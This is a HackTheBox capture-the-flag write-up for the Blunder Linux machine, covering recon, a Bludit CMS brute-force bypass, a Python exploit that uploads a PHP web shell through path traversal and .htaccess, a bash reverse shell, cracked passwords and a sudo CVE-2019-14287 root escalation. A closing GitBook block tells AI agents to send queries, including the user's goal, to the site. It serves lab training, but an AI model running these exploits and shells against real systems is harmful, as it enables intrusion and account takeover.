> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md).

# Blunder HackTheBox Writeup

Blunder HackTheBox Easy Linux machine writeup covering Bludit CMS Exploitation, Bypassing IP Blocking (X-Forwarded-For Header), Directory Traversal Image File Upload (Playing with .htaccess), Abusing

{% embed url="<https://app.hackthebox.com/machines/Blunder>" %}

{% hint style="warning" %}
**Skills:**

* Bludit CMS Exploitation
* Bypassing IP Blocking (X-Forwarded-For Header)
* Directory Traversal Image File Upload (Playing with .htaccess)
* Abusing sudo privilege (CVE-2019-14287)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cbe2784da0fc80d2196a69dfbb56588069e33256%2Fimage%20(2452).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-44bca384dd03fab190cce6c5a72337a259faadff%2Fimage%20(2453).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.191 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e409880d5b12742dddf49bdf85cbbe93ded4875%2Fimage%20(2454).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard (80)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-42c7fd66b01ee64df9076c4b84219dad2375a1d4%2Fimage%20(2455).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Port version scan with Nmap:

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p80 10.10.10.191 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1e78e0c9c10af34ae802ea255a77f85b4544b95%2Fimage%20(2456).png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names into IP addresses via DNS, we insert the domain name associated with its IP address into the `/etc/hosts` file:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b82c34c1fe8df01da7fbbd8e4f9838d713c4c84b%2Fimage%20(2457).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 80 (Blunder):

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c64b62bfaf062f0665410aedb5d20fdbe4105b4d%2Fimage%20(2458).png?alt=media" alt=""><figcaption></figcaption></figure>

**Directory scan**

Use **Gobuster** to find interesting directories:

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

* Result: Discovery of the **/admin** directory.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c25811e9b3a61359a8c49bca7ff28b2066fff21%2Fimage%20(1080).png?alt=media" alt=""><figcaption></figcaption></figure>

**CMS Identification**

By accessing **/admin**, the Bludit CMS (version **3.9.2**) is detected.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d29964ab8c90ad068a7face9326d40a23b004e5%2Fimage%20(2460).png?alt=media" alt="" width="360"><figcaption></figcaption></figure>

## **Bludit CMS Exploitation**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6135481dc16c5e9675460cc4c53c6dc51fc14331%2Fimage%20(2459).png?alt=media" alt=""><figcaption></figcaption></figure>

**Search for vulnerabilities**

Use `searchsploit` to find known vulnerabilities:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb15328b6543ca5317ef31606eb98a6a28335c49%2Fimage%20(2461).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Vulnerability detected: **CVE-2019-17240**

{% hint style="info" %}
The exploit aims to exploit a vulnerability in the mitigation of brute force attacks on Bludit, a CMS (Content Management System) platform. The vulnerability, identified as **CVE-2019-17240**, allows an attacker to bypass protections against brute force attacks implemented in Bludit versions prior to or equal to 3.9.2.
{% endhint %}

`searchsploit -m php/webapps/48942.py`

**Text file found**

Perform additional research with Gobuster:

```bash
gobuster dir -u http://blunder.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php,txt,html
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-165b2ec70199f702d0abcaa85940d75a5d3aebf6%2Fimage%20(2462).png?alt=media" alt=""><figcaption></figcaption></figure>

Content: Identified user: **fergus**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1138d5f2ae0a0930c9bc69409f8f8877c2af2fcb%2F%7BB797CE15-6304-497A-9945-8B747637D2B5%7D.png?alt=media" alt="" width="375"><figcaption></figcaption></figure>

### Brute Force on Bludit

Once the user **fergus** is discovered, use a dictionary to launch a brute force attack:

```bash
python3 exploit.py -l http://blunder.htb/admin/ -u user.txt -p password.txt
```

No matches found for file **rockyou.txt**.

### **Personalized dictionary**

Use **Cewl** to generate a dictionary based on the website:

```bash
cewl -u http://blunder.htb/ -w password.txt
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffedc1a50a1007bd91e30eaec230875fc03ad980%2Fimage%20(2463).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Relaunch the brute force attack with the custom dictionary:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-105bd582a1e9bc675d73f035c358b2bd3f9c0e79%2Fimage%20(2464).png?alt=media" alt=""><figcaption></figcaption></figure>

* Password found: `fergus:RolandDeschain`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-039a6ec9a5bafba34e169250ecbcef285ab6386b%2Fimage%20(2465).png?alt=media" alt=""><figcaption></figcaption></figure>

## Exploitation Directory Traversal Image File Upload:

Once authenticated, this CMS is vulnerable to a **Directory Traversal** type attack allowing the upload of malicious files.

{% embed url="<https://github.com/bludit/bludit/issues/1081>" %}

{% hint style="info" %}
We can specify the location of the downloaded file by changing the value of `uuid` and then upload a malicious image to the temporary folder.
{% endhint %}

After authentication, it is possible to download a new exploit via `searchsploit` in `multiple/webapps/48701.txt`, which provides the steps to exploit this vulnerability.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69e88c5773be66139875805963abfd75098364f6%2Fimage%20(1094).png?alt=media" alt=""><figcaption></figcaption></figure>

**Steps for operation**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-afdc23628a6e51eb566dfddf6b42ec5aa4c1249d%2F%7B72C127D6-9824-43EA-A632-E0DC0BF68275%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. **Create a malicious file** (`evil.png`) containing PHP code:

```bash
<?php
system($_GET['cmd']);
?>
```

2. **Modify the script to adapt it to the situation** (victim's IP address, username, password, etc.).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7cf94cad2256173a4f867997a90e8210cb7df48%2F%7BD8DDEB4F-4F4A-48B0-B349-AEB393102303%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

3. **Run exploit:**

Script Python d'exploitation :

```python
#!/usr/bin/env python3

import requests
import re
import argparse
import random
import string
import base64
from requests.exceptions import Timeout

url = 'http://blunder.htb/admin'  # CHANGE ME
username = 'fergus'  # CHANGE ME
password = 'RolandDeschain'  # CHANGE ME

# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=53 -f raw -b '"' > evil.png
# echo -e "<?php $(cat evil.png)" > evil.png
payload = 'evil.png'  # CREATE ME

#echo "RewriteEngine off" > .htaccess
#echo "AddType application/x-httpd-php .png" >> .htaccess
payload2 = '.htaccess'  # CREATE ME

def login(url,username,password):
    """ Log in with provided admin creds, grab the cookie once authenticated """

    session = requests.Session()
    login_page = session.get(url + "/admin/")
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"',
                           login_page.text
                 ).group(1)
    cookie = ((login_page.headers["Set-Cookie"]).split(";")[0].split("=")[1])
    data = {"save":"",
            "password":password,
            "tokenCSRF":csrf_token,
            "username":username}
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer": url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
               "Content-Type":"application/x-www-form-urlencoded"
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/",
                            data=data,
                            headers=headers,
                            cookies=cookies,
                            allow_redirects = False
               )

    print("cookie: " + cookie)
    return cookie

def get_csrf_token(url,cookie):
    """ Grab the CSRF token from an authed session """

    session = requests.Session()
    headers = {"Origin":url,
               "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
               "Upgrade-Insecure-Requests":"1",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate"}
    cookies = {"BLUDIT-KEY":cookie}
    response = session.get(url + "/admin/dashboard",
                           headers=headers,
                           cookies=cookies
               )
    csrf_token = response.text.split('var tokenCSRF = "')[1].split('"')[0]

    print("csrf_token: " + csrf_token)
    return csrf_token

def upload_evil_image(url, cookie, csrf_token, payload, override_uuid=False):
    """ Upload files required for to execute PHP from malicious image files. Payload and .htaccess """

    session = requests.Session()
    files= {"images[]": (payload,
                         open(payload, "rb"),
                         "multipart/form-data",
                         {"Content-Type": "image/png", "filename":payload}
                        )}
    if override_uuid:
        data = {"uuid": "../../tmp/temp",
                "tokenCSRF":csrf_token}
    else:
        # On the vuln app, this line occurs first:
        # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
        # Even though there is a file extension check, it won't really stop us
        # from uploading the .htaccess file.
        data = {"tokenCSRF":csrf_token}
    headers = {"Origin":url,
               "Accept":"*/*",
               "X-Requested-With":"XMLHttpRequest",
               "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
               "Connection":"close",
               "Referer":url + "/admin/new-content",
               "Accept-Language":"es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding":"gzip, deflate",
    }
    cookies = {"BLUDIT-KEY":cookie}
    response = session.post(url + "/admin/ajax/upload-images", data=data, files=files, headers=headers, cookies=cookies)
    print("Uploading payload: " + payload)

if __name__ == "__main__":
    cookie = login(url, username, password)
    token = get_csrf_token(url, cookie)
    upload_evil_image(url, cookie, token, payload, True)
    upload_evil_image(url, cookie, token, payload2)
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b89b7b5c624a2f89f4dca621f9ac83d29c80e804%2F%7B1AACD0C9-340D-40EC-93C0-28DA7150E17B%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

4. **Access the malicious file**: Once the image has been downloaded, simply go to `/bl-content/tmp/temp/evil.png` to execute commands.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2721050e3361fbc595f0297d0fb6abf47180d222%2F%7BC591FCB4-21A0-4572-8BCF-2A88FE3D06CE%7D.png?alt=media" alt="" width="552"><figcaption></figcaption></figure>

5. **Listen on port 443 with Netcat**:

```bash
nc -nvlp 443
```

5. **Execute a reverse shell**:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.2/443 0>%261"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d18819db7ce511efea5a68bd20f6d0678c1a27b%2Fimage%20(1096).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Terminal Session Management** :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Privilege Escalation

Exploring the files reveals a file `users.php` in the `databases` folder containing hashed credentials for users `fergus` and `admin`:

`admin:bfcc887f62e36ea019e3295aafb8a3885966e265`

`fergus:be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20f51c608cd98351ae038ae8594e00d107d86a35%2Fimage%20(1097).png?alt=media" alt=""><figcaption></figcaption></figure>

When using CrackStation to attempt to crack these hashes, it appears that they are not recognized.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3bdb488a51dbbde9b18034db4bfcd5716ef0fd26%2Fimage%20(1098).png?alt=media" alt=""><figcaption></figcaption></figure>

However, at the root of the website, a more recent version of Bludit is found, containing the same configuration files, but with different credentials:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7edf2974f55b344e180827d416afa2012e94b0f%2Fimage%20(1099).png?alt=media" alt="" width="497"><figcaption></figcaption></figure>

* **hugo** : `faca404fd5c0a31cf1897b823c695c85cffeb98d`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-90c8fe285e13c590f5a8ef840ccb8aad00d44a52%2Fimage%20(1100).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b08ce6b4fc96c94221dc86c3e73d5e719d6228a%2F%7B6D81EDBA-EE13-469E-A75C-1F071F4CF792%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

`hugo:Password120`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78fa87a335c29b7d566e97cc423555b7b46bab4e%2Fimage%20(1101).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Flag user.txt:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e05249091d0e92ba1b9efc2f6abc18eeb7bbf4e4%2F%7B6122353D-C97D-44AC-8DD3-0FD4070F8DFB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Abusing sudo privilege (CVE-2019-14287):

While examining sudo privileges, we discovered a vulnerable configuration in the sudoers file. Using the `sudo -l` command, we identified a privilege that allows all users except `root` to log in with the `/bin/bash` command:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6aa40d7a25844ea1df6e9446ce361a29ba431776%2Fimage%20(2466).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.exploit-db.com/exploits/47502>" %}

This vulnerability affects all versions of sudo prior to version 1.8.27.

In our case, the sudo version is lower than 1.8.27, which makes this vulnerability exploitable.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b072b730fba3dec03091f9160982083a2b0701f%2F%7BBDCA0F7E-840F-4753-92E8-F314A655AEAF%7D.png?alt=media" alt="" width="510"><figcaption></figcaption></figure>

To exploit this vulnerability, simply run the following command:

```bash
sudo -u#-1 /bin/bash
```

This command allows you to run a shell as user `-1`, which corresponds to user `root`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-147e70291ca26c6683abc988485b587994a3669c%2Fimage%20(2467).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a946d7b0009c4b83e649a87bad81385752b39256%2Fimage%20(2468).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b5cbfb36a83f2b36c15a3d2e357cd1d8badfd98%2F%7BE30EC42C-0169-47C5-B755-64D22504FBB9%7D.png?alt=media" alt="" width="532"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/blunder-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
